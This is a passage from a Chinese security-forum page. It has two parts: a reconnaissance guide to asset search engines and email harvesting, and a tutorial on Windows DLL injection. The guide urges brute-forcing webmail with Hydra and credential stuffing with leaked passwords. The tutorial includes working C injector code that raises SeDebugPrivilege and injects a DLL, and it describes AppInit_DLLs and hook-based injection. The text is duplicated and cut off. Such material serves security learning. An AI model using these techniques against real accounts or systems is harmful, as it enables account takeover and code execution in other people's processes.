  • port:  搜索指定的端口或服务,例如 port:”21”
  • country:  搜索指定的国家,例如 country:”CN”
  • city:  搜索指定的城市,例如 city:”NanYang”
  • org:  搜索指定的组织或公司,例如 org:”google”
  • isp:  搜索指定的ISP供应商,例如 isp:”China Telecom”
  • product:  搜索指定的操作系统/软件/平台,例如 product:”Apache httpd”
  • version:  搜索指定的软件版本,例如 version:”1.6.2”
  • geo:  搜索指定的地理位置,例如 geo:”31.8639, 117.2808”
  • before/after:  搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:”11-11-15”
  • net:  搜索指定的IP地址或子网,例如 net:”210.45.240.0/24”
  
  • (3)censys搜索引擎
censys搜索引擎功能与shodan类似,偏向网络设备和服务器的信息探测。地址:https://www.censys.io/
服务器信息探测.png
搜索语法默认情况下censys支持全文检索。
  • 23.0.0.0/8 or 8.8.8.0/24  可以使用and or not
  • 80.http.get.status_code: 200  指定状态
  • 80.http.get.status_code:[200 TO 300]  200-300之间的状态码
  • location.country_code: DE  国家
  • protocols: (“23/telnet” or “21/ftp”)  协议
  • tags: scada  标签
  • 80.http.get.headers.server:nginx  服务器类型版本
  • autonomous_system.description: University  系统描述
    
  • (4)FoFa搜索引擎
FoFa搜索引擎偏向资产搜索。http://fofa.so
Image.png
搜索语法直接输入查询语句,将从标题,html内容,http头信息,url字段中搜索
  • title="abc" 从标题中搜索abc。
  • header="abc" 从http头中搜索abc。
  • body="abc" 从html正文中搜索abc。
  • domain="secevery.com" 搜索根域名带有secevery.com的网站。
  • host=".gov.cn" 从url中搜索.gov.cn,注意搜索要用host作为名称。
  • port="443" 查找对应443端口的资产。
  • ip="1.1.1.1" 从ip中搜索包含1.1.1.1的网站,注意搜索要用ip作为名称。 如果想要查询网段,可以是:ip="192.168.111.1/24",
  • protocol="https" 搜索制定协议类型(在开启端口扫描的情况下有效)。
  • city="Beijing" 搜索指定城市的资产。
  • region="Henan" 搜索指定行政区的资产。
  • country="CN" 搜索指定国家(编码)的资产。
  • cert="google.com" 搜索证书(https或者imaps等)中带有google.com的资产。
  • banner=users && protocol=ftp 搜索FTP协议中带有users文本的资产。
  • type=service 搜索所有协议资产,支持subdomain和service两种。
  • os=windows 搜索Windows资产。例: 搜索Windows资产
  • server=="Microsoft-IIS/7.5" 搜索IIS 7.5服务器。例: 搜索IIS 7.5服务器
  • app="海康威视-视频监控" 搜索海康威视设备,更多app规则。例: 搜索海康威视设备
  • after="2017" && before="2017-10-01" 时间范围段搜索。例: 时间范围段搜索
  • 高级搜索:可以使用括号 和 && || !=等符号,如
  • title="powered by" && title!=discuz
  • title!="powered by" && body=discuz
  • ( body="content=\"WordPress" || (header="X-Pingback" && header="/xmlrpc.php" && body="/wp-includes/") ) && host="gov.cn" 
  • 新增==完全匹配的符号,可以加快搜索速度,比如查找qq.com所有host,可以是domain=="qq.com"
  • (5)钟馗之眼(Zoomeye)
 钟馗之眼搜索引擎偏向web应用层面的搜索。地址:https://www.zoomeye.org/
Image.png
搜索语法
  • app:nginx  组件名
  • ver:1.0  版本
  • os:windows  操作系统
  • country:”China”  国家
  • city:”hangzhou”  城市
  • port:80  端口
  • hostname:google  主机名
  • site:thief.one  网站域名
  • desc:nmask  描述
  • keywords:nmask’blog  关键词
  • service:ftp  服务类型
  • ip:8.8.8.8  ip地址
  • cidr:8.8.8.8/24  ip地址段
  • (6)邮箱收集

--首先确定邮件服务器本身有没有什么错误配置,没有禁用VRFY或EXPN命令导致的用户信息泄露,如果有可以直接把目标的邮件用户都爆出来,也可以尝试弱口令。
第一手邮箱.png

--收集目标的各类webmail入口。
找目标的各种webmail入口,不一定有,但这也是为了后面一旦拿到密码尝试撞库的手段,如果用的是某种开源WEB邮件程序,也可以尝试找对应版本的exp。
--提取whois邮箱去搜索引擎搜索,拿到旧密码可以去社工库去撞库。
--直接从目标站点查找邮箱。一般的网站都有的"联系我们"之类的链接或许就是邮箱,当然如果是[email]support@target.com[/email]或者[email]info@target.com[/email]这种邮箱直接忽略,我们需要有互动的邮箱,拿到后都试一试撞一撞库和搜索引擎跑一跑。
邮箱3.png

---利用各种工具直接抓取目标邮箱
theharvester:一个比较老的邮箱抓取脚本,主要是从各种搜索引擎抓取邮箱,抓取后的文档杂乱需要自己筛选分析。
https://github.com/laramies/theHarvester下载或者Kali直接运行。
-d 参数指定目标域
-l 参数指定数量
-b 参数指定端口
-s 指定起始数值
theharvester收集邮箱.png

TheHarvester+Hydra可以大量扫描弱口令账户。
也可以使用metasploit的 auxiliary/gather/search_email_collector 模块:

 
msfconsole打开MSF控制台,输入use auxiliary/gather/search_email_collector,然后set domain XXmail.com设置目标邮件网站,然后show options显示搜索来源,exploit

MSF搜索邮箱.png

目前使用菜单内的google选项去搜索邮箱需要翻墙,直接用如图。

两种方法都可以将结果保存为文件然后使用hydra爆破。
(7)历史漏洞信息
虽然乌云关了但是镜像上面还有大量企业漏洞信息,此外CNVD,seebug等平台
也能查找一些企业历史漏洞信息。
乌云镜像.png

 
0X05:人力资源情报收集
(1)招聘信息
用google从招聘网站找到信息再去查找企业信息
招聘信息收集1.png

招聘信息收集2.png

通过招聘信息我们找到了公司全称和负责人构成和邮箱电话等信息。
通过这些信息可以与前面的WHOIS反查结合。
 
社会工程学方面的知识太繁杂就先不讨论了。
参考:
https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/
https://www.secpulse.com/archives/74312.html
https://www.freebuf.com/articles/web/190403.html
http://www.davex.pw/2016/07/01/How-To-Fuzz-Sub-Domain/
https://www.freebuf.com/articles/web/179043.html
https://cloud.tencent.com/developer/article/1180157
https://klionsec.github.io/2014/12/22/email-collector/
https://www.secpulse.com/archives/69237.html
https://yq.aliyun.com/articles/366927
https://www.secpulse.com/archives/29475.html
http://www.lijiejie.com/ds_store_exp_ds_store_file_disclosure_exploit/
https://zhuanlan.zhihu.com/p/22161675
https://zhuanlan.zhihu.com/p/22407076
https://www.jianshu.com/p/d2af08e6f8fb
https://blog.csdn.net/zvall/article/details/50115815

DLL 注入的二三事

PWN-类型(多为溢出)snow 发表了文章 • 7 个评论 • 150 次浏览 • 2019-07-26 09:40 • 来自相关话题

关于 DLL 注入,学习它的过程其实也就是弄明白“是什么”、“做什么”和“怎么做”的过程。
所以只要弄明白下面的三个问题就可以了。
DLL 注入的目的。DLL 注入的原理。DLL 注入的方法及具体实现过程。
 
目的:DLL 注入是为了使其他进程加载我们的 DLL,从而渗透进其他进程,让其他进程执行我们的代码。

DLL 注入有 3 种方法,因此原理也不尽相同,我们分开来讲。

第一种方法是创建远程线程。
关键函数是 CreateRemoteThread。
CreateRemoteThread 作用是创建一个在其他进程地址空间中运行的线程。我们要用这个函数让我们的目标进程调用 LoadLibrary 函数加载我们的 DLL。HANDLE CreateRemoteThread(
HANDLE hProcess, //要创建线程的进程的句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, //一个指向 SECURITY_ATTRIBUTES 结构的指针, 该结构指定了线程的安全属性
SIZE_T dwStackSize, //线程栈初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小
LPTHREAD_START_ROUTINE lpStartAddress, //在远程进程的地址空间中,该线程的线程函数的起始地址
LPVOID lpParameter, //传给线程函数的参数
DWORD dwCreationFlags, //线程的创建标志
LPDWORD lpThreadId //指向所创建线程ID的指针,如果创建失败,该参数为NULL
);
如此以来我们的目标就有三个:
获取目标进程的句柄,用以控制目标进程;获取目标进程中 LoadLibrary 函数的地址;获取目标进程中我们要加载的 DLL 的路径的地址,用以作为 Library API 的参数传递给它。
只要得到上面三个值,我们就可以调用 CreateRemoteThread 函数了。
 
首先我们需要获取目的进程的句柄。所使用的函数是 OpenProcess。
OpenProcess 函数用来打开一个已存在的进程对象,并返回进程的句柄。HANDLE OpenProcess(
DWORD dwDesiredAccess, //获取的权限
BOOL bInheritHandle, //TRUE或者FALSE
DWORD dwProcessId //要打开进程PID
);
接着我们获取目标进程中 LoadLibrary 函数的地址。
我们知道一般而言,每个 DLL 的加载基址都是0x10000000,所以在加载了 A DLL后,B DLL 就要另寻地址来加载了,该过程就发生了基址重定位。但是系统核心 DLL 就没有这个烦恼,它们都有自己的固定地址,且不用担心被别的 DLL 覆盖。并且系统 DLL 只需要加载一次,以后每次使用都只需要映射到该进程的相同地址即可,这种映射技术有利于提高内存的使用效率。
根据系统 DLL 的这个特性,我们只需要获取自己进程中的 LoadLibrary 函数的地址即可,因为也是我们目标进程中该函数的地址。
我们首先使用 GetModuleHandle() 获取我们自身进程的句柄,然后使用 GetProcessAddress() 获取函数的地址。HMODULE GetModuleHandleA(
LPCSTR lpModuleName //已加载模块的名称
);FARPROC GetProcAddress(
HMODULE hModule, //DLL模块的句柄
LPCSTR lpProcName //函数或变量名称,或函数的序数值。
);
最后一步就是获取目标进程中我们要加载的 DLL 路径的地址。也就是我们要加载的 DLL的绝对路径在目标进程中的地址。
有人会说,我们要加载的 DLL 不是我们写的吗,那它的路径为什么会在目标进程中呢。对啊,为什么呢?
其实目标进程的内存空间原本是没有的。但鲁迅曾经说过,“世上本没有路,我们修一条,便有了路”
既然目标进程里面没有,那我们把它写到目标进程的内存地址就好啦!
所以我们只需要在目标进程的内存空间申请一块缓冲区,然后把 DLL的路径写进去就可以了。使用到的函数分别是 VirtualAllocEx() 和 WriteProcessMemory()。LPVOID VirtualAllocEx(
HANDLE hProcess, //目标进程的句柄
LPVOID lpAddress, //指针,指定要分配的页面区域的所需起始地址。默认为 NULL 即可
SIZE_T dwSize, //要分配的内存区域的大小,以字节为单位
DWORD flAllocationType, //内存分配的类型
DWORD flProtect //要分配的页面区域的内存保护
);BOOL WriteProcessMemory(
HANDLE hProcess, //要修改的进程内存的句柄
LPVOID lpBaseAddress, //指向我们所申请缓冲区的指针
LPCVOID lpBuffer, //指向我们要写入的路径的指针
SIZE_T nSize, //要写入进程的字节数
SIZE_T *lpNumberOfBytesWritten //指向变量的指针,该变量接收传输到指定进程的字节数
);所以总的来说,一共有以下几个步骤:










 
实例代码如下,在 Win7 64位系统下可运行:#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <tchar.h>
#include <errno.h>
extern int errno;
int getPID(const wchar_t* target)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hSnapshot_proc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot_proc != INVALID_HANDLE_VALUE) //函数调用失败会返回 INVALID_HANDLE_VALUE
{
if (Process32First(hSnapshot_proc, &pe32))//Process32First 将检索系统快照中第一个进程的信息
{
do
{
//if (!strcmp(target, pe32.szExeFile))
if(!lstrcmpW(target, pe32.szExeFile))
{
return pe32.th32ProcessID;
}
} while (Process32Next(hSnapshot_proc, &pe32));
}
}
CloseHandle(hSnapshot_proc);
return 0;
}
BOOL SetProcessPrivilege(const wchar_t* lpName, BOOL opt)
{
HANDLE tokenhandle;
TOKEN_PRIVILEGES NewState;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &tokenhandle)) //打开访问令牌
{
LookupPrivilegeValue(NULL, lpName, &NewState.Privileges[0].Luid); //获取LUID
NewState.PrivilegeCount = 1; //指定 NewState 中Privilege的数目
NewState.Privileges[0].Attributes = opt != 0 ? 2 : 0; //打开时设为2,关闭时设为0
AdjustTokenPrivileges(tokenhandle, FALSE, &NewState, sizeof(NewState), NULL, NULL);
CloseHandle(tokenhandle);
return 1;
}
else
{
return 0;
}
}
int main(int argc, char* argv)
{
int pid;
HANDLE hProcess = NULL, hThread = NULL; //进程及线程句柄
LPTHREAD_START_ROUTINE pThreadProc; //函数地址
LPVOID pRemoteBuf = NULL; //缓冲区
const wchar_t name[12] = L"calc.exe";
char dllname[MAX_PATH] = "C:\\hackdll.dll"; //要加载的DLL名称
DWORD dwBufSzise = sizeof(dllname);
LPVOID lpBuffer = dllname;
SetProcessPrivilege(_T("SeDebugPrivilege"), 1); //开启特权

pid = getPID(name); //获取进程的PID
if (pid)
{
printf("进程PID为: %d\n", pid);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); //获取进程句柄
if (hProcess == NULL)
{
printf("OpenProcess %d failed!", pid);
return GetLastError();
}
}
else
{
printf("进程不存在!");
return GetLastError();
}
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA"); //获取函数地址
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSzise, MEM_COMMIT, PAGE_READWRITE); //在进程中开辟缓冲区域
if (!WriteProcessMemory(hProcess, pRemoteBuf, lpBuffer, dwBufSzise, NULL)) //在缓冲区域写入dll路径
{
printf("写入内存失败。");
VirtualFreeEx(hProcess, pRemoteBuf, dwBufSzise, MEM_RELEASE);
CloseHandle(hProcess);
}
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); //创建远程线程
VirtualFreeEx(hProcess, pRemoteBuf, dwBufSzise, MEM_RELEASE);
if (hThread == NULL)
{
printf("remote thread failed!!!\n");
CloseHandle(hProcess);
return GetLastError();
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
SetProcessPrivilege(_T("SeDebugPrivilege"), 0);
return 0;
}
运行成功:




 
 
 
下面讲的是关于系统权限的问题。
 
windows 的每个用户登录系统之后,系统都会产生一个访问令牌,这个令牌关联了该用户的权限信息。用户登录后创建的每个进程都有该用户访问令牌的拷贝。
当进程试图执行某些需要特殊权限的操作,或者是访问受保护的内核对象时,系统都会检索访问令牌中的权限信息,以决定是否授权操作。
使用到的函数是:OpenProcessToken 用来打开与进程相关联的访问令牌 BOOL OpenProcessToken(
HANDLE ProcessHandle, //第一参数是要修改访问权限的进程句柄
DWORD DesiredAccess, //第二个参数指定你要进行的操作类型,如要修改访问令牌的特权,我们要指定第二个参数为TOKEN_ADJUST_PRIVILEGES = &H20
PHANDLE TokenHandle //第三个参数就是返回的访问令牌指针
);
Administrator 组用户的访问令牌中会含有一些可以执行系统级操作的特权,如中止任意进程、关闭/重启 系统、修改系统时间等。当然这些权限默认是被禁用的,即使是管理员权限在需要的时候也只能先调用代码以获取权限,然后再执行,否则系统将拒绝进程的操作。
Win7 之后,非 Administor组 成员创建的进程无法提升自己的权限。
Windows 使用字符串的形式表示系统特权,比如 SeDebugPrivilege 表示调试进程和修改其它进程内存的权限。虽然使用字符串表示系统特权,但查询或更改特权需要使用一个叫做 LUID 的东西,LUID 全称  local unique identifier,是一个 64位 值,每一个特权对应一个 LUID。那么获得系统特权对应的 LUID呢?
使用到的函数是:LookupPrivilegeValue   根据权限名称检索 LUIDBOOL LookupPrivilegeValueA(
LPCSTR lpSystemName, //第一个参数表示所要检索的系统,果指定了空字符串,则该函数会尝试在本地系统上查找权限名称
LPCSTR lpName, //第二个参数指向一个以零结尾的字符串,指定特权的名称
PLUID lpLuid //第三个参数用来接收所返回的指定特权名称的信息
);
有了访问令牌,也有了权限的 LUID,接下来就该通知操作系统开启访问令牌中的对应权限了。AdjustTokenPrivileges 用于启用或禁止,指定访问令牌的特权

BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, //第一个参数是访问令牌的句柄.柄必须具有TOKEN_ADJUST_PRIVILEGES对令牌的访问权限。如果PreviousState参数不为NULL,则句柄还 必须具有TOKEN_QUERY访问权限。
BOOL DisableAllPrivileges, //指定该函数是否禁用所有令牌的权限.如果此值为TRUE,则该函数将禁用所有权限并忽略NewState参数。如果为FALSE,则该函数根据 NewState参数指向的信息修改权限。
PTOKEN_PRIVILEGES NewState, //新特权信息的指针(结构体)
DWORD BufferLength, //指定PreviousState参数指向的缓冲区的大小(以字节为单位)。如果PreviousState参数为NULL,则此参数可以为零。
PTOKEN_PRIVILEGES PreviousState, //也是一个结构体指针,指向修改之前的特权状态,可以为 NULL。
PDWORD ReturnLength //指向变量的指针,该变量接收PreviousState参数指向的缓冲区所需的大小(以字节为单位),可以为 NULL。
);

要确定函数是否调整了所有指定的权限,调用 GetLastError,该函数在函数成功时返回以下值之一:
ERROR_SUCCESS 该功能调整了所有指定的权限。
ERROR_NOT_ALL_ASSIGNED 令牌没有NewState参数中指定的一个或多个权限。即使没有调整任何权限,该函数也可能成功使用此错误值。该PreviousState参数指示进行调整的 权限。
DLL 注入的第二种方法就是修改注册表。
 
在 Windows 操作系统的注册表中默认提供了 AppInit_DLLs 和 LoadAppInit_DLLs 两个注册表项,它们在  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows 下。
 
当系统加载 User32.dll 到进程时,会读取 AppInit_DLLs 注册表项,若有值,就会调用 LoadLibrary() API 加载用户 DLL。所以说只要把我们 DLL 的绝对路径添加进去,我们的 DLL 就会加载到 User32.dll 进程。也就是说所有调用 User32.dll 的进程都会加载我们的 DLL。
 
 
DLL 注入的第三种方法是使用消息钩子。
 
Windows操作系统是以事件驱动的方式工作。不论你是敲击键盘,还是移动鼠标,都是一种事件。
当发生了事件时,会有消息添加到系统的消息队列。操作系统判断是哪个应用程序中发生了事件,然后从系统的消息队列中取出消息,发送给应用程序的消息队列中。应用程序监视自身的消息队列发现新添加了消息后,调用相应的事件处理程序处理。
 
在系统的消息队列和应用程序的消息队列的路途当中有很多“收费站”,这些“收费站”就是系统的钩子,许多相同的钩子依次调用组成了一条钩链。这些钩子都可以比应用程序先看到相应的信息。我们可以在路途中间设置自己的“收费站”,这样我们也可以收过路费了。
设置消息钩子的函数是 SetWindowsHookExHHOOK SetWindowsHookExA(
int idHook, //要安装的挂钩过程的类型
HOOKPROC lpfn, //回调函数,也就是钩取到消息后要调用的函数
HINSTANCE hmod, //回调函数所属DLL的句柄
DWORD dwThreadId //想要挂钩的线程ID,设为0的话,我们的收费站就会影响到全国所有的高速公路
);
具体来说就是,我们把 SetWindowsHookEx 函数和我们想要执行的函数代码写在同一个 DLL 中,然后调用该 DLL 中的 SetWindowsHookEx 函数,该函数设置一个消息钩子,若其他进程被我们的钩子钩取到,系统就会强制把我们的 DLL 加载该进程的内存空间,调用我们设置的回调函数。 查看全部
关于 DLL 注入,学习它的过程其实也就是弄明白“是什么”、“做什么”和“怎么做”的过程。
所以只要弄明白下面的三个问题就可以了。
  1. DLL 注入的目的。
  2. DLL 注入的原理。
  3. DLL 注入的方法及具体实现过程。

 
目的:DLL 注入是为了使其他进程加载我们的 DLL,从而渗透进其他进程,让其他进程执行我们的代码。

DLL 注入有 3 种方法,因此原理也不尽相同,我们分开来讲。

第一种方法是创建远程线程。
关键函数是 CreateRemoteThread。
CreateRemoteThread 作用是创建一个在其他进程地址空间中运行的线程。我们要用这个函数让我们的目标进程调用 LoadLibrary 函数加载我们的 DLL。
HANDLE CreateRemoteThread( 
HANDLE hProcess, //要创建线程的进程的句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, //一个指向 SECURITY_ATTRIBUTES 结构的指针, 该结构指定了线程的安全属性
SIZE_T dwStackSize, //线程栈初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小
LPTHREAD_START_ROUTINE lpStartAddress, //在远程进程的地址空间中,该线程的线程函数的起始地址
LPVOID lpParameter, //传给线程函数的参数
DWORD dwCreationFlags, //线程的创建标志
LPDWORD lpThreadId //指向所创建线程ID的指针,如果创建失败,该参数为NULL
);

如此以来我们的目标就有三个:
  1. 获取目标进程的句柄,用以控制目标进程;
  2. 获取目标进程中 LoadLibrary 函数的地址;
  3. 获取目标进程中我们要加载的 DLL 的路径的地址,用以作为 Library API 的参数传递给它。

只要得到上面三个值,我们就可以调用 CreateRemoteThread 函数了。
 
首先我们需要获取目的进程的句柄。所使用的函数是 OpenProcess。
OpenProcess 函数用来打开一个已存在的进程对象,并返回进程的句柄。
HANDLE OpenProcess( 
DWORD dwDesiredAccess, //获取的权限
BOOL bInheritHandle, //TRUE或者FALSE
DWORD dwProcessId //要打开进程PID
);

接着我们获取目标进程中 LoadLibrary 函数的地址。
我们知道一般而言,每个 DLL 的加载基址都是0x10000000,所以在加载了 A DLL后,B DLL 就要另寻地址来加载了,该过程就发生了基址重定位。但是系统核心 DLL 就没有这个烦恼,它们都有自己的固定地址,且不用担心被别的 DLL 覆盖。并且系统 DLL 只需要加载一次,以后每次使用都只需要映射到该进程的相同地址即可,这种映射技术有利于提高内存的使用效率。
根据系统 DLL 的这个特性,我们只需要获取自己进程中的 LoadLibrary 函数的地址即可,因为也是我们目标进程中该函数的地址。
我们首先使用 GetModuleHandle() 获取我们自身进程的句柄,然后使用 GetProcessAddress() 获取函数的地址。
HMODULE GetModuleHandleA( 
LPCSTR lpModuleName //已加载模块的名称
);
FARPROC GetProcAddress( 
HMODULE hModule, //DLL模块的句柄
LPCSTR lpProcName //函数或变量名称,或函数的序数值。
);

最后一步就是获取目标进程中我们要加载的 DLL 路径的地址。也就是我们要加载的 DLL的绝对路径在目标进程中的地址。
有人会说,我们要加载的 DLL 不是我们写的吗,那它的路径为什么会在目标进程中呢。对啊,为什么呢?
其实目标进程的内存空间原本是没有的。但鲁迅曾经说过,“世上本没有路,我们修一条,便有了路”
既然目标进程里面没有,那我们把它写到目标进程的内存地址就好啦!
所以我们只需要在目标进程的内存空间申请一块缓冲区,然后把 DLL的路径写进去就可以了。使用到的函数分别是 VirtualAllocEx() 和 WriteProcessMemory()。
LPVOID VirtualAllocEx( 
HANDLE hProcess, //目标进程的句柄
LPVOID lpAddress, //指针,指定要分配的页面区域的所需起始地址。默认为 NULL 即可
SIZE_T dwSize, //要分配的内存区域的大小,以字节为单位
DWORD flAllocationType, //内存分配的类型
DWORD flProtect //要分配的页面区域的内存保护
);
BOOL WriteProcessMemory( 
HANDLE hProcess, //要修改的进程内存的句柄
LPVOID lpBaseAddress, //指向我们所申请缓冲区的指针
LPCVOID lpBuffer, //指向我们要写入的路径的指针
SIZE_T nSize, //要写入进程的字节数
SIZE_T *lpNumberOfBytesWritten //指向变量的指针,该变量接收传输到指定进程的字节数
);
所以总的来说,一共有以下几个步骤:

20190725171021.png


20190725170908.png

 
实例代码如下,在 Win7 64位系统下可运行:
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <tchar.h>
#include <errno.h>
extern int errno;
int getPID(const wchar_t* target)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hSnapshot_proc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot_proc != INVALID_HANDLE_VALUE) //函数调用失败会返回 INVALID_HANDLE_VALUE
{
if (Process32First(hSnapshot_proc, &pe32))//Process32First 将检索系统快照中第一个进程的信息
{
do
{
//if (!strcmp(target, pe32.szExeFile))
if(!lstrcmpW(target, pe32.szExeFile))
{
return pe32.th32ProcessID;
}
} while (Process32Next(hSnapshot_proc, &pe32));
}
}
CloseHandle(hSnapshot_proc);
return 0;
}
BOOL SetProcessPrivilege(const wchar_t* lpName, BOOL opt)
{
HANDLE tokenhandle;
TOKEN_PRIVILEGES NewState;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &tokenhandle)) //打开访问令牌
{
LookupPrivilegeValue(NULL, lpName, &NewState.Privileges[0].Luid); //获取LUID
NewState.PrivilegeCount = 1; //指定 NewState 中Privilege的数目
NewState.Privileges[0].Attributes = opt != 0 ? 2 : 0; //打开时设为2,关闭时设为0
AdjustTokenPrivileges(tokenhandle, FALSE, &NewState, sizeof(NewState), NULL, NULL);
CloseHandle(tokenhandle);
return 1;
}
else
{
return 0;
}
}
int main(int argc, char* argv)
{
int pid;
HANDLE hProcess = NULL, hThread = NULL; //进程及线程句柄
LPTHREAD_START_ROUTINE pThreadProc; //函数地址
LPVOID pRemoteBuf = NULL; //缓冲区
const wchar_t name[12] = L"calc.exe";
char dllname[MAX_PATH] = "C:\\hackdll.dll"; //要加载的DLL名称
DWORD dwBufSzise = sizeof(dllname);
LPVOID lpBuffer = dllname;
SetProcessPrivilege(_T("SeDebugPrivilege"), 1); //开启特权

pid = getPID(name); //获取进程的PID
if (pid)
{
printf("进程PID为: %d\n", pid);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); //获取进程句柄
if (hProcess == NULL)
{
printf("OpenProcess %d failed!", pid);
return GetLastError();
}
}
else
{
printf("进程不存在!");
return GetLastError();
}
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA"); //获取函数地址
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSzise, MEM_COMMIT, PAGE_READWRITE); //在进程中开辟缓冲区域
if (!WriteProcessMemory(hProcess, pRemoteBuf, lpBuffer, dwBufSzise, NULL)) //在缓冲区域写入dll路径
{
printf("写入内存失败。");
VirtualFreeEx(hProcess, pRemoteBuf, dwBufSzise, MEM_RELEASE);
CloseHandle(hProcess);
}
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); //创建远程线程
VirtualFreeEx(hProcess, pRemoteBuf, dwBufSzise, MEM_RELEASE);
if (hThread == NULL)
{
printf("remote thread failed!!!\n");
CloseHandle(hProcess);
return GetLastError();
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
SetProcessPrivilege(_T("SeDebugPrivilege"), 0);
return 0;
}

运行成功:
20190725172748.png

 
 
 
下面讲的是关于系统权限的问题。
 
windows 的每个用户登录系统之后,系统都会产生一个访问令牌,这个令牌关联了该用户的权限信息。用户登录后创建的每个进程都有该用户访问令牌的拷贝。
当进程试图执行某些需要特殊权限的操作,或者是访问受保护的内核对象时,系统都会检索访问令牌中的权限信息,以决定是否授权操作。
使用到的函数是:OpenProcessToken 用来打开与进程相关联的访问令牌
BOOL OpenProcessToken( 
HANDLE ProcessHandle, //第一参数是要修改访问权限的进程句柄
DWORD DesiredAccess, //第二个参数指定你要进行的操作类型,如要修改访问令牌的特权,我们要指定第二个参数为TOKEN_ADJUST_PRIVILEGES = &H20
PHANDLE TokenHandle //第三个参数就是返回的访问令牌指针
);

Administrator 组用户的访问令牌中会含有一些可以执行系统级操作的特权,如中止任意进程关闭/重启 系统修改系统时间等。当然这些权限默认是被禁用的,即使是管理员权限在需要的时候也只能先调用代码以获取权限,然后再执行,否则系统将拒绝进程的操作。
Win7 之后,非 Administor组 成员创建的进程无法提升自己的权限。
Windows 使用字符串的形式表示系统特权,比如 SeDebugPrivilege 表示调试进程和修改其它进程内存的权限。虽然使用字符串表示系统特权,但查询或更改特权需要使用一个叫做 LUID 的东西,LUID 全称  local unique identifier,是一个 64位 值,每一个特权对应一个 LUID。那么获得系统特权对应的 LUID呢?
使用到的函数是:LookupPrivilegeValue   根据权限名称检索 LUID
BOOL LookupPrivilegeValueA(
LPCSTR lpSystemName, //第一个参数表示所要检索的系统,果指定了空字符串,则该函数会尝试在本地系统上查找权限名称
LPCSTR lpName, //第二个参数指向一个以零结尾的字符串,指定特权的名称
PLUID lpLuid //第三个参数用来接收所返回的指定特权名称的信息
);

有了访问令牌,也有了权限的 LUID,接下来就该通知操作系统开启访问令牌中的对应权限了。
AdjustTokenPrivileges 用于启用或禁止,指定访问令牌的特权

BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, //第一个参数是访问令牌的句柄.柄必须具有TOKEN_ADJUST_PRIVILEGES对令牌的访问权限。如果PreviousState参数不为NULL,则句柄还 必须具有TOKEN_QUERY访问权限。
BOOL DisableAllPrivileges, //指定该函数是否禁用所有令牌的权限.如果此值为TRUE,则该函数将禁用所有权限并忽略NewState参数。如果为FALSE,则该函数根据 NewState参数指向的信息修改权限。
PTOKEN_PRIVILEGES NewState, //新特权信息的指针(结构体)
DWORD BufferLength, //指定PreviousState参数指向的缓冲区的大小(以字节为单位)。如果PreviousState参数为NULL,则此参数可以为零。
PTOKEN_PRIVILEGES PreviousState, //也是一个结构体指针,指向修改之前的特权状态,可以为 NULL。
PDWORD ReturnLength //指向变量的指针,该变量接收PreviousState参数指向的缓冲区所需的大小(以字节为单位),可以为 NULL。
);

要确定函数是否调整了所有指定的权限,调用 GetLastError,该函数在函数成功时返回以下值之一:
ERROR_SUCCESS 该功能调整了所有指定的权限。
ERROR_NOT_ALL_ASSIGNED 令牌没有NewState参数中指定的一个或多个权限。即使没有调整任何权限,该函数也可能成功使用此错误值。该PreviousState参数指示进行调整的 权限。

DLL 注入的第二种方法就是修改注册表。
 

在 Windows 操作系统的注册表中默认提供了 AppInit_DLLs 和 LoadAppInit_DLLs 两个注册表项,它们在  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows 下。
 
当系统加载 User32.dll 到进程时,会读取 AppInit_DLLs 注册表项,若有值,就会调用 LoadLibrary() API 加载用户 DLL。所以说只要把我们 DLL 的绝对路径添加进去,我们的 DLL 就会加载到 User32.dll 进程。也就是说所有调用 User32.dll 的进程都会加载我们的 DLL。
 
 
DLL 注入的第三种方法是使用消息钩子。
 
Windows操作系统是以事件驱动的方式工作。不论你是敲击键盘,还是移动鼠标,都是一种事件。
  1. 当发生了事件时,会有消息添加到系统的消息队列。
  2. 操作系统判断是哪个应用程序中发生了事件,然后从系统的消息队列中取出消息,发送给应用程序的消息队列中。
  3. 应用程序监视自身的消息队列发现新添加了消息后,调用相应的事件处理程序处理。

 
在系统的消息队列和应用程序的消息队列的路途当中有很多“收费站”,这些“收费站”就是系统的钩子,许多相同的钩子依次调用组成了一条钩链。这些钩子都可以比应用程序先看到相应的信息。我们可以在路途中间设置自己的“收费站”,这样我们也可以收过路费了。
设置消息钩子的函数是 SetWindowsHookEx
HHOOK SetWindowsHookExA( 
